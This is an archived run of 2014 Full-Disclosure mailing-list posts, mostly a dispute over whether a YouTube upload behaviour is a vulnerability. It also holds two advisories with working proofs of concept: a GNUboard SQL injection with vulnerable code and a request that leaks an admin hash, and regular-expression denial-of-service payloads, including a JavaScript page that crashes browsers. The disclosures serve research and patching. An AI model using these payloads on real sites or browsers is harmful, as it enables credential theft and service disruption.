Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Thank you. :) On Sat, Mar 15, 2014 at 1:45 PM, Gynvael Coldwind gynv...@coldwind.plwrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Sockpuppet much? On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote: Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
You must be new. On Sat, Mar 15, 2014 at 3:43 PM, Thomas Williams tho...@trwilliams.me.ukwrote: I signed onto this mailing list as an interested person in security - not to see everyone moan. We will all have differences in opinion and we should all respect that. This goes for everyone and I feel I speak for a lot of people here, everyone needs to grow up, and shut up. Email scanned and verified safe. On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote: Sockpuppet much? On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote: Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
As a professional penetration tester, [...] The JSON service responds to GET requests , and there is a good chance that the service is also vulnerable to JSON Hijacking attacks. That's... not how XSSI works. To have a script inclusion vulnerability, you need to have a vanilla GET response that contains some user-specific secrets that are returned to the caller based on HTTP cookies (or, less likely, other ambient credentials). For example, a script response that discloses the contents of your mailbox or the list of private contacts would be of concern. Further, the response must be in a format that can be not only loaded, but also inspected by another site opened in your browser; most types of JSONP fall into this category, but JSON generally does not, essentially because of how the meaning of { is overloaded in JS depending on where it appears in a block of code. Last but not least, the final piece of the puzzle is that the response must be served at a URL that can be guessed by third parties who don't have access to your account. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
A hacker exploits a JSON (javascript) object that has information of interest for example holding some values for cookies. A lot of times that exploits the same policy origin. The JSON object returned from a server can be forged over writing javascript function that create the object. This happens because of the same origin policy problem in browsers that cannot say if js execution it different for two different sites. To be honest, I'm not sure I follow, but I'm fairly confident that my original point stands. If you believe that well-formed JSON objects without padding can be read across origins within the browser, I would love to see more information about that. (In this particular case, it still wouldn't matter because the response doesn't contain secrets, but it would certainly break a good chunk of the Internet.) JSONP is a different animal. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Is this treated with the same way that says that Remote File Inclusion is not a security issue ? I'm not sure how RFI came into play on this thread - the original report wasn't about RFI. I don't have an agenda here; I'm just trying to get to the bottom of it and make sure that we converge on a common understanding of the issue. As in any argument, it's fairly likely that one of us is wrong, and I accept that it could very well be me - I have been wrong quite a few times in my life, and it's always a valuable learning opportunity. I think it's unfortunate that the thread has devolved into various accusations and credential-slinging, because it reduces the likelihood of such a productive outcome. Please feel free to ping me directly any time, though - I'm happy to chat. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I don't think this is accurate, at least based on the standard definition of RFI: a server-side scripting language - usually PHP - accidentally executing a script fetched from a remote server because it passed an attacker-controlled string to an API that allows both local file paths and remote URLs. The report talks about a different behavior: the ability for users to upload video and non-video content using legitimate functionality of the site, without a way to make the server do anything interesting with the received data. This may or may not be interesting on its own merit, but I think it's pretty far from RFI. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. Yup, I am genuinely not familiar with the attack vector that *I think* you are describing, or why it would matter in this context. My earlier message in this thread explains my reasoning (in essence, there are certain conditions that have to be met for a typical XSSI bug, and I don't think they are met here), but if my understanding is wrong, I'd really like to learn about the proposed attack. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Is it possible with the help of Godwin's law this discussion moves offlist? -- guninski On Thu, Mar 13, 2014 at 10:43:50AM +, Nicholas Lemonias. wrote: Google vulnerabilities uncovered... http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
How the hell did you ever think Google will honor this? By now they could be fixing this issue, they hell don't care about you. On 3/15/14, Georgi Guninski gunin...@guninski.com wrote: Is it possible with the help of Godwin's law this discussion moves offlist? -- guninski On Thu, Mar 13, 2014 at 10:43:50AM +, Nicholas Lemonias. wrote: Google vulnerabilities uncovered... http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- -- Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P I.T Security Analyst and Penetration Tester jgichuki at inbox d0t com {FORUM}http://lists.my.co.ke/pipermail/security/ http://chuksjonia.blogspot.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
Title: Message Running ... out ... of ... popcorn -- must .. resupply ... Regards, Stefan ** Stefan Jon Silverman - Founder / President SJS Associates, N.A., Inc. A Technology Strategy Consultancy ** Cell 917 929 1668 s...@sjsinc.com eMail www.sjsinc.com ** Aim/Skype/GoogleIM: LazloInSF Twitter/Yahoo: sjs_sf ** Weebles wobble but they don't fall down ** On 3/15/2014 9:33 AM, Mario Vilas wrote: You must be new. On Sat, Mar 15, 2014 at 3:43 PM, Thomas Williams tho...@trwilliams.me.uk wrote: I signed onto this mailing list as an interested person in security - not to see everyone moan. We will all have differences in opinion and we should all respect that. This goes for everyone and I feel I speak for a lot of people here, everyone needs to grow up, and shut up. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Webcast Reminder: Garage4Hackers Ranchoddas Series 2 on Reverse Engineering
Webcast Reminder Data, data, data! I can't make bricks without clay Thanks for registering for Garage4hacker'shttp://garage4hackers.us3.list-manage.com/track/click?u=3bbddc138252bc94f75024ab7id=8f7c43f38fe=672cdb4173Ranchoddas Series. Below are details for the online presentation. *Speaker*: Gynvael Coldwindhttp://garage4hackers.us3.list-manage1.com/track/click?u=3bbddc138252bc94f75024ab7id=5bb3a77cc1e=672cdb4173- Google Security Engineer and Dragon Sector Team Captain. *Date*: Monday, March 17, 2014 *Time* (Switzerland/EU aka UTC+01:00 aka CET aka GMT +1:00): 18:00 *Time* (IST aka GMT +5:30): 22:30 *Time *(other places): http://www.timeanddate.com/worldclock/fixedtime.html?iso=20140317T1700http://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=ab9cf1656ae=672cdb4173 *Duration*: TBD, but something between 45-60 minutes + time for questions *Audio Video:* The audio Video for this presentation will be streamed to your computer through Youtube Live Streaming. We will be sending out the video link via e-mail, once we have it - probably just before the webcast; we'll also post that link on G4H http://garage4hackers.us3.list-manage1.com/track/click?u=3bbddc138252bc94f75024ab7id=6f9e82a25ce=672cdb4173 forum/facebookhttp://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=465691cae6e=672cdb4173 /twitter http://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=fa9ccc7c9ee=672cdb4173+ probably around here. We suggest to use good internet connection to avoid video lags and setup good audio device to hear voice without noise. *If you have not used Youtube Live Stream before, then do not worry it is similar as watching videos on the Youtube. If you require technical assistance with webcast , please contact abhaytheh...@garage4hackers.com Kind Regards, Garage4Hackers http://garage4hackers.comhttp://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=8e7037268ee=672cdb4173 https://www.facebook.com/pages/Garage4Hackers/138904662794635http://garage4hackers.us3.list-manage.com/track/click?u=3bbddc138252bc94f75024ab7id=9eb37a9871e=672cdb4173 https://twitter.com/garage4hackershttp://garage4hackers.us3.list-manage1.com/track/click?u=3bbddc138252bc94f75024ab7id=4f012b37cde=672cdb4173 *Copyright © 2014 Garage4Hackers, All rights reserved.* You are receiving this email because you registered to Ranchoddas Series Part 2 on RE ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Zakewski, Thank you for your e-mail. I welcome all opinions, that are backed up by evidences. I am not just a security researcher, I am also an academic in the field and lecturer. All right :-) Thank you for the overview of CIA triad. I don't think there's a good probability that our thinking about this report will converge - but if you see demand for the approach you are advocating (be it in the academia or in the consulting business), I think that's fair. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
On Thu, Mar 13, 2014 at 10:30 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We confirm this to be a valid vulnerability for the following reasons. The access control subsystem is defeated, resulting to arbitrary write access of any file of choice. 1. You Tube defines which file types are permitted to be uploaded. And...? 2. Exploitation is achieved by circumvention of web-based security controls (namely http forms, which is a weak security measure). However, exploitation of the issue results to unrestricted file uploads (any file of choice ). Remote code execution may be possible either through social engineering , or by stochastically rewriting an existing file-structure in the CDN. So in ohter words, you haven't proven it. The upload in itself is not a vulnerability (and if you understood that it is, please read again that OWASP document). 3. This directly impacts the integrity of the service since modification of information occurs by circumvention. Renaming the uploaded files can be achieved through YouTube's inherent video manager. How does it impact the integrity? Again, unexpected functionality does not necessarily equal exploitation. 4. Denial of Service attacks are feasible since we bypass all security restrictions. This directly impacts the availability of the service. Not proven either. At this point I feel you're just making stuff up. All you did was upload stuff you can't download afterwards. 5. Malware propagation is possible, if the planted code get's executed through social engineering or by re-writing a valid file system structure. Again, you need to be able to download the stuff you uploaded, and have it executed directly. Otherwise you could do the same thing more efficiently with Google Drive. 6) All uploaded files can be downloaded through Google Take Out, if past the Content ID filtering algorithm (through file header obfuscation and encryption). You need to explain how that is an attack vector. Best Regards, Nicholas Lemonias Advanced Information Security Corp. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [CVE-2014-2339] GNUboard SQL Injection Vulnerability
==Advisory: GNUboard SQL Injection Vulnerability Author: claepo.w...@dbappsecurity.com.cn Affected Version: GNUboard5(the latest version) Vendor URL: http://sir.co.kr/ Vendor Status: Unfixed(I know little about Korean,so i do not know how to describe this vul to the vendor.)== Vulnerability Description == Recently, I found several vulnerabilities in the famous Korean forum program - the GNUboard.Vulnerable file: /bbs/ajax.autosave.php?php include_once('./_common.php’);//global ‘filter' on $_GET,$_POST,$_COOKIE,$_REQUEST if (!$is_member) die('0’);//member login $uid = trim($_REQUEST['uid']); //current user id $subject = trim(stripslashes($_REQUEST['subject'])); //stripslashes ignores the global filter causes a SQL Inj. $content = trim(stripslashes($_REQUEST['content'])); //same above if ($subject $content) { $sql = " select count(*) as cnt from {$g5['autosave_table']} where mb_id = '{$member['mb_id']}' and as_subject = '$subject' and as_content = '$content' "; $row = sql_fetch($sql); //the bad str($subject|$content) insert into sql queryif (!$row['cnt']) { $sql = " insert into {$g5['autosave_table']} set mb_id = '{$member['mb_id']}', as_uid = '{$uid}', as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' on duplicate key update as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' "; $result = sql_query($sql, false); // database select echo autosave_count($member['mb_id']); } } ? == POC EXP == 1. Login as a member2. GEThttp://target/bbs/ajax.autosave.php?content=1subject=1[inj_exp] {exp can be found on my server: http://pandas.pw/gnuboard.exp}3. Page returns 1062 : Duplicate entry ~admin~*FF6F916236F4FFEE8FADD21EC20216C5C3A04E50~1' for key 'group_key’ .Done! Thx a lot!___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service
MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service http://cxsecurity.com/ 0. Where is the problem? Some time ago I have reported vulnerabilities in regcomp() in BSD implementation (CVE-2011-3336) and GNU libc implementation (CVE-2010-4051 CVE-2010-4052). Now is the time for MacOSX and other software and It seems that the problem is still in their implementations. --- MacOSX 10.9.2 libc PoC --- 0:kozak6 cx$ ls |grep -E '((.*)(((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))' grep(715,0x7fff746ed310) malloc: *** mach_vm_map(size=18446744071973109760) failed (error code=3) *** error: can't allocate region *** set a breakpoint in malloc_error_break to debug grep: out of memory --- MacOSX 10.9.2 libc PoC --- Recursion in Apple regcomp/libc() can lead to consumption, exhaustion, etc. (CWE-399) The same problem occurs in javascript regexp implementation on Safari and Firefox. In Kaspersky 14.0.0.4651(e) CPU Exhaustion has been observed. Verified; - Safari 7.0.2 (9537.74.9) MacOSX 10.9.2 Memory exhaustion (unpatched CVE-2011-3336) Phone 4S, iOS 7.0.6 Crash - Firefox 27.0.1 Windows: Crash http://cert.cx/regexp-smaczki/regcomp2.png http://cert.cx/regexp-smaczki/visual4.png http://cert.cx/regexp-smaczki/visual3.png MacOSX: Memory exhaustion - Kaspersky 14.0.0.4651(e) CPU Exhaustion and can't restart kaspersky again http://cert.cx/regexp-smaczki/kaspersky.jpg We don't know full list of affected vendors. Anyway javascript PoC avaliable here http://cert.cx/regexp-smaczki/regex.html --- JavaScript PoC --- HTML HEAD TITLEFirefox 27.0.1 and Safari 7.0.2 (9537.74.9)/TITLE /HEAD BODY BGCOLOR=#FF SCRIPT type=text/javascript var patt1=new RegExp(((.*)(((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))); document.write(patt1.exec(peace)); /SCRIPT /BODY /HTML --- JavaScript PoC --- On Safari and Firefox under MacOSX this script will consume excessive memory. Windows version has allocated 3,8GB and crash int readChecked(unsigned negativePositionOffest) { if (pos negativePositionOffest) CRASH(); unsigned p = pos - negativePositionOffest; ASSERT(p length); return input[p]; } Firefox don't support 64 bits version for windows and only 4gb can be allocated to cause CRASH(). The most interesting is CPU Exhaustion observed in avp.exe process. Many requests to website where RegEx()/javascript code is located cause exhaustion of one cpu core. Closing and restarting Kaspersky is impossible. The situation with regexp security is not declared. Many vendors think that regcomp() should be secure by default but are also others opinions https://bugzilla.redhat.com/show_bug.cgi?id=645859 --- Red Hat does not consider crash of client application, using regcomp() or regexec() routines on untrusted input without preliminary checking the input for the sanity, to be a security issue (the described deficiency implies and is a known limitation of the glibc regular expression engine implementation). The expressions can be modified to avoid quantification nesting, or program modified to limit size of input passed to regular expression engine. We do not currently plan to fix these flaws. If more information becomes available at a future date, we may revisit these issues. --- and try compare with ZABIX statement https://support.zabbix.com/browse/ZBX-4625 --- It shouldn't be fixed in Zabbix. That's something to be addressed by glibc maintainers. --- In January 2014 Juniper has officially patched CVE-2010-4051 and CVE-2010-4052 in own products. http://kb.juniper.net/InfoCenter/index?page=contentid=JSA10612. MacOSX libc in 10.9.2 is still vulnerable for CVE-2011-3336. 0:log cx$ ls |grep -E '(.?).*){1,100}){1,100}){1,100}){1,100}' It shows how many varieties of regular expression we have and how hard it is to keep a single standard. --- 1. Credit --- Maksymilian Arciemowicz http://cxsecurity.com/ --- 2. References ---
Re: [Full-disclosure] Google vulnerabilities with PoC
Look, you keep calling it a vulnerability with 0 evidence that it's even exploitable. Until you can prove otherwise this is like speculating the potential security repercussions of uploading files to EC2 (Which would probably have potential to be much more severe than what you're discussing here since javascript uploaded to ec2 could actually get executed by someones browser) You keep throwing around keywords like OWASP, OSI, security best practices as if they actually make a difference here. Truth is there's no reason to believe that what you have discovered here is exploitable. This mostly seems like a desperate attempt of getting money off of google and your name in some publication shitty enough to not do any fact checking (eg. softpedia) . 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com: Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Thu, Mar 13, 2014 at 7:47 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Julius Kivimäki julius.kivim...@gmail.com Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: I don't see what OSI model has to do with anything here. Why is arbitrary file upload to youtube CDN any worse than to google drive CDN? And how will your self-executing encrypted virus like Cryptolocker end up getting executed anyways? And cryptolocker was definitely not self-executing, but spread via email attachments (excluding the boring USB spread functionality). What you have here is not a vulnerability, just give up. And stop trying to get journalists like Eduard Kovacs to spread your BS. 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com : Hello Julius, I appreciate your interest to learn more. OWASP is 